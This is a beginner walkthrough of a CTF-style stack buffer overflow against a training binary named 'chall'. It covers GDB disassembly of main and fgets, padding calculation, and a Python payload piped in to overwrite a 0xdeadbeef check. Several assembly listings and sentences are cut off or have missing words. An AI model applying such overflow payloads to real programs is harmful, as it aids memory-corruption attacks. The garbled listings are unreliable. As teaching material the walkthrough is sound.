This program provides a sample of overflow. When running the binary, we must modify the data in Red.
./challYour goal is to modify the variable @ 0x7ffc6d8b3cf80x7ffc6d8b3ce0: 0x0000000000000000 0x00000000000000000x7ffc6d8b3cf0: 0x0000000000000000 0x00000000deadbeefEnter input:This is a representation of a Stack Frame. When we write to local variables, this data gets written to the Stack data segment. The stack is written in Blocks, whose size depends on the program's architecture.
In this case, we have a 64-bit program. We can confirm this by running file chall:
file challchall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2b2843e724d3ed8c000c834920be13adfc2e6a7c, for GNU/Linux 3.2.0, not strippedWhen we start writing to this program, we see that we start writing to the space illustrated in our stack frame. This data is shown in hexadecimal. The most common way to fill this space is by using a character we know the hex value of, for example, A (0x41). If we write enough A's, we will overwrite the data in Red! Let's try it.
./challYour goal is to modify the variable @ 0x7ffc8299c6580x7ffc8299c640: 0x0000000000000000 0x00000000000000000x7ffc8299c650: 0x0000000000000000 0x00000000deadbeefEnter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0x7ffc8299c640: 0x4141414141414141 0x41414141414141410x7ffc8299c650: 0x4141414141414141 0x0041414141414141Congrats! You successfully overwrote the buffer.This works! We modified the target variable as anticipated. However, we need to understand why this works at a lower level because we won't always have a visualizer to help us. Or will we…
GDB (the GNU Debugger) is an exploit developer's most powerful tool for understanding how programs work. We use GDB to perform dynamic analysis (program analysis during runtime) to understand what happens. This requires a moderate understanding of how to read Assembly.
First, we run gdb on the binary with gdb chall. We use info functions to show the available functions in the binary.
info functionsAll defined functions:Non-debugging symbols:0x0000000000001000 _init0x0000000000001030 putchar@plt0x0000000000001040 puts@plt0x0000000000001050 setbuf@plt0x0000000000001060 printf@plt0x0000000000001070 fgets@plt0x0000000000001080 exit@plt0x0000000000001090 __cxa_finalize@plt0x00000000000010a0 _start0x00000000000010d0 deregister_tm_clones0x0000000000001100 register_tm_clones0x0000000000001140 __do_global_dtors_aux0x0000000000001180 frame_dummy0x0000000000001189 color_red0x00000000000011a4 color_green0x00000000000011bf color_yellow0x00000000000011da color_blue0x00000000000011f5 color_magenta0x0000000000001210 color_cyan0x000000000000122b color_white0x0000000000001246 color_end0x0000000000001261 print_word_row0x000000000000130a print_quad_row0x00000000000013b9 print_stack0x00000000000014dd lose0x00000000000014f3 win0x0000000000001509 main0x0000000000001630 _finiMost of these are compiler-made; we are only concerned with the ones the developer made. The ones starting with an underscore (_) are often compiler-made, and the ones ending with @plt are library functions. We ignore these and go right to main for our first function.
We use disassemble main to show main's assembly. There's a lot here, but the meat and potatoes are in this middle section here:
10x00000000000015bd <+180>: mov rdx,QWORD PTR [rip+0x2aac] # 0x4070 <stdin@GLIBC_2.2.5>
20x00000000000015c4gets(), fgets(), or scanf() calls. Eventually, we'll also want the comparison statement that checks if we modified the Red value.If we check the man pages, we can see the arguments for fgets:
char *fgets(char s[restrict .size], int size, FILE *restrict stream);The first argument is a pointer to where we're writing, the number of bytes to write, and the source of where that data comes from. Let's analyze the above lines for this:
s: We first see a mov rdi, rax. Slightly above that, we see lea rax, [rbp-0x20]. lea, or Load Effective Address, computes what's inside the square brackets and puts that address into rax. rbp is the register used to reference stack variables, so this is a stack address. This proves we're writing to the stack!size: We see mov esi, 0x20, meaning we can write up to 0x20=32 bytes.stream: We see mov rdx, QWORD PTR [rip+0x2aac]. rip is used to reference global variables since it's the easiest way for the compiler to track the difference between the instruction and the global variable. gdb hints that this refers to stdin in the comment to the right (# 0x4070 <stdin@GLIBC_2.2.5>). This makes sense since the input is coming from the console.Now that we understand how and where we're inputting data, we need to find the data to overwrite. We can see that happens here:
10x0000000000001604 <+251>: mov rdx,QWORD PTR [rbp-0x8]
20x0000000000001608 <+255>Let's cover the important details:
mov eax, 0xdeadbeef: This loads that value we want to compare into the register. We overlooked this value being loaded onto the stack, but that happened at the start of the program:10x000000000000154d <+68>: mov eax,0xdeadbeef
20x0000000000001552 <+73>: mov QWORD PTR [rbp-0x8],raxmov rdx, QWORD PTR [rbp-0x8] then cmp rdx, rax: the value at that stack offset (our variable) is loaded into rdx, then compared to rax (0xdeadbeef). This sets the EFLAGS register based on the comparison results. CMP A, B is equivalent to if (A ? B) (? since the operation is based on the J?? command).je 0x161e: This is confusing at first. This actually tells us the operation is not equal (!=). The compiler uses j?? to jump away from code. If the two values are equal, we skip code. We see this if we map this out like a tree:mov edx, 4mov rdi, raxcall print_stackmov rdx, QWORD PTR [rbp-0x8]mov eax, 0xdeadbeefcmp rdx, raxje 0x161emov eax, 0x0call winjmp 0x1628mov eax, 0x0call losemov eax, 0x0leaveretje is not true, then we continue to the next line. This will execute the statements in that block and then jump over the block holding the true case.From this, we gathered that the variable to overwrite starts at rbp-0x8. We can do some basic math to see that we need to write bytes to reach there. Then, we must write data in that block to overwrite its contents. We call the number of bytes to reach important data the padding. This makes our padding 0x18=24 bytes. We commonly use A for our padding since it's easy to identify. We'll use A for padding and () to overwrite the important block.
Rather than writing A 24 times and B 8 times, we can use Python to do it for us:
python3 -c "print('A' * 24 + 'B' * 8)"AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBThen, we can take this string and use it in the program.
./challYour goal is to modify the variable @ 0x7ffdab9f0f080x7ffdab9f0ef0: 0x0000000000000000 0x00000000000000000x7ffdab9f0f00: 0x0000000000000000 0x00000000deadbeefEnter input: AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB0x7ffdab9f0ef0: 0x4141414141414141 0x41414141414141410x7ffdab9f0f00: 0x4141414141414141 0x0042424242424242Congrats! You successfully overwrote the buffer.Or, we can use Pipes to push the input into the program automatically:
python3 -c "print('A' * 24 + 'B' * 8)" | ./challYour goal is to modify the variable @ 0x7ffd326f33380x7ffd326f3320: 0x0000000000000000 0x00000000000000000x7ffd326f3330: 0x0000000000000000 0x00000000deadbeefEnter input:0x7ffd326f3320: 0x4141414141414141 0x41414141414141410x7ffd326f3330: 0x4141414141414141 0x0042424242424242Congrats! You successfully overwrote the buffer.B0x42